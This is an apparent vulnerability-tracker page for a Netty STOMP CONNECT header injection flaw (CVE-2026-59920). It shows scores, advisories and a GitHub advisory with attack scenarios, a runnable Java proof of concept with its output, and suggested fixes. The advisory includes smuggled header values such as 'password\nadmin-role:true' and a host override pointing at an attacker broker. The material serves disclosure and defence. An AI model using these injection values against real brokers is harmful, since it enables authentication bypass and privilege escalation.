CVE-2026-59920

mediumpriority · track · 0EPSS 0.004 · 36 %ileDEEUFRUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.41% (36th) EPSS
CVSS 6.5 · medium
Is it mine?
16 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · cert_bund · nvd

EPSS · scored 2026-10-27

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Nsecondary · ENISA EU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 2.8 · impact 3.6
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Nsecondary · OSV
v3.16mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (16)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2356Netty: Mehrere SchwachstellenDeutsch2026-07-14csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.

  • GHSA-3g8r-4pfx-jmfhNetty: STOMP CONNECT Frame Header Injection in Netty2026-07-22ghsa · osvUS

    # Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-stomp) | | **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | **Impact** | STOMP Header Injection / Authentication Bypass | | **CVSS 3.1 Score** | **6.5 (Medium)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | None | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200) - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216) ## 3. Vulnerability Description The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers. ### Root Cause In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping: ```java private static boolean shouldEscape(StompCommand command) { return command != StompCommand.CONNECT && command != StompCommand.CONNECTED; } ``` When `shouldEscape()` returns `false`, header values are written without any escaping (line 195): ```java CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue(); ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output buf.writeByte(StompConstants.LF); ``` For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`. ### STOMP Specification Context and Security Analysis The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences. **However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction: - **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT) - **Validation** = rejecting header values that contain `\n` (spec does not prohibit this) Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`. This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here. **Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered. **Summary**: The vulnerability exists because: 1. Header values in CONNECT frames are **neither escaped nor validated** for newlines 2. A raw newline in a header value creates a **new header line** on the wire 3. The STOMP broker parses each line as a separate header 4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-stomp` module to encode STOMP frames 2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame 3. The application does **not** perform its own newline sanitization 4. The downstream STOMP broker processes the injected headers (broker-dependent) **Typical affected use cases**: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames ## 5. Attack Scenarios ### Scenario 1: Authentication Bypass via Header Injection An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers: ```java DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().set(StompHeaders.HOST, "localhost"); frame.headers().set(StompHeaders.LOGIN, "guest"); // Attacker injects a role header via \n in passcode frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true"); ``` **Wire format sent to broker:** ``` CONNECT host:localhost login:guest passcode:password admin-role:true <-- INJECTED HEADER <-- Empty line (end of headers) \0 ``` The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication. ### Scenario 2: Subscription Hijacking ```java frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com"); ``` This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation). ### Scenario 3: Header Overwrite ```java frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin"); ``` **Wire format:** ``` CONNECT login:user login:admin <-- INJECTED, may override first ... ``` Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account. ## 6. Proof of Concept ### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.stomp.*; import java.nio.charset.StandardCharsets; /** * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability * * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and * CONNECTED commands, allowing \n injection in header values to create * additional STOMP headers. */ public class StompConnectHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n"); testConnectHeaderInjection(); testConnectVsOtherCommand(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: CONNECT command header injection via \n in value */ static void testConnectHeaderInjection() { System.out.println("[TEST 1] CONNECT Header Value Injection"); System.out.println("-----------------------------------------"); // Craft a CONNECT frame with \n in passcode value DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPT_VERSION, "1.2"); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input passcode: \"password\\nadmin-role:true\""); System.out.println(); System.out.println("Encoded STOMP frame:"); System.out.println("---"); // Show with visible control chars for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0")); } System.out.println("---"); // Check if the injected header appears as a separate line boolean hasInjectedHeader = false; String[] lines = encoded.split("\n"); for (String line : lines) { if (line.startsWith("admin-role:")) { hasInjectedHeader = true; break; } } System.out.println(); System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader); System.out.println("VULNERABLE: " + (hasInjectedHeader ? "YES - Header injection in CONNECT frame!" : "NO")); // Count actual STOMP headers (lines between command and empty line) int headerCount = 0; boolean inHeaders = false; for (String line : lines) { if (line.equals("CONNECT")) { inHeaders = true; continue; } if (inHeaders && line.trim().isEmpty()) break; if (inHeaders && line.contains(":")) headerCount++; } System.out.println("Expected headers: 4 (host, accept-version, login, passcode)"); System.out.println("Actual headers: " + headerCount); System.out.println(); } /** * Test 2: Compare CONNECT (no escape) vs SEND (with escape) */ static void testConnectVsOtherCommand() { System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison"); System.out.println("--------------------------------------------"); String maliciousValue = "value\ninjected:evil"; // Test CONNECT (no escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Raw \\n in output: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO")); } System.out.println(); // Test SEND (with escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.DESTINATION, "/queue/test"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("SEND frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil"); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO")); } System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" StompConnectHeaderInjectionPoC.java java -cp "$JARS:." StompConnectHeaderInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty STOMP CONNECT Header Injection PoC === [TEST 1] CONNECT Header Value Injection ----------------------------------------- Input passcode: "password\nadmin-role:true" Encoded STOMP frame: --- CONNECT host:localhost accept-version:1.2 login:user passcode:password admin-role:true <-- INJECTED HEADER \0 --- Injected 'admin-role' appears as separate header: true VULNERABLE: YES - Header injection in CONNECT frame! Expected headers: 4 (host, accept-version, login, passcode) Actual headers: 5 [TEST 2] CONNECT vs SEND Escape Comparison -------------------------------------------- CONNECT frame with custom="value\ninjected:evil": Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0 Raw \n in output: true VULNERABLE: YES SEND frame with custom="value\ninjected:evil": Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0 Escaped \n: true Raw \n: false SAFE: YES === PoC Complete === ``` ### Key Observation The PoC demonstrates a clear inconsistency: - **CONNECT** command: `\n` is written **raw** → header injection succeeds - **SEND** command: `\n` is escaped to `\\n` → header injection prevented ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Authentication** | Injected headers may bypass broker authentication logic | | **Authorization** | Role escalation via injected role/permission headers | | **Integrity** | Modification of connection parameters (host, version, etc.) | | **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) | ### Affected Brokers This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers: - **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins - **ActiveMQ**: May process custom headers for internal routing - **Custom Brokers**: Most likely to be affected if they trust all received headers ## 8. Remediation Recommendations ### Option 1: Validate CONNECT Header Values (Recommended) Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely: ```java private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) { StompCommand command = frame.command(); ByteBufUtil.writeUtf8(buf, command.toString()); buf.writeByte(StompConstants.LF); boolean shouldEscape = shouldEscape(command); for (Entry<CharSequence, CharSequence> entry : frame.headers()) { CharSequence headerKey = entry.getKey(); CharSequence headerValue = entry.getValue(); if (shouldEscape) { headerKey = escape(headerKey); headerValue = escape(headerValue); } else { // For CONNECT/CONNECTED: don't escape but REJECT newlines validateNoNewlines(headerKey, "header name"); validateNoNewlines(headerValue, "header value"); } ByteBufUtil.writeUtf8(buf, headerKey); buf.writeByte(StompConstants.COLON); ByteBufUtil.writeUtf8(buf, headerValue); buf.writeByte(StompConstants.LF); } buf.writeByte(StompConstants.LF); } private static void validateNoNewlines(CharSequence value, String type) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\n' || c == '\r') { throw new IllegalArgumentException( "STOMP CONNECT " + type + " contains illegal newline at index " + i); } } } ``` ### Option 2: Apply Escaping to All Commands Simply remove the CONNECT/CONNECTED exception: ```java private static boolean shouldEscape(StompCommand command) { return true; // Always escape } ``` Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach. ## 9. References - [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html) - [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)

  • CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (3)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan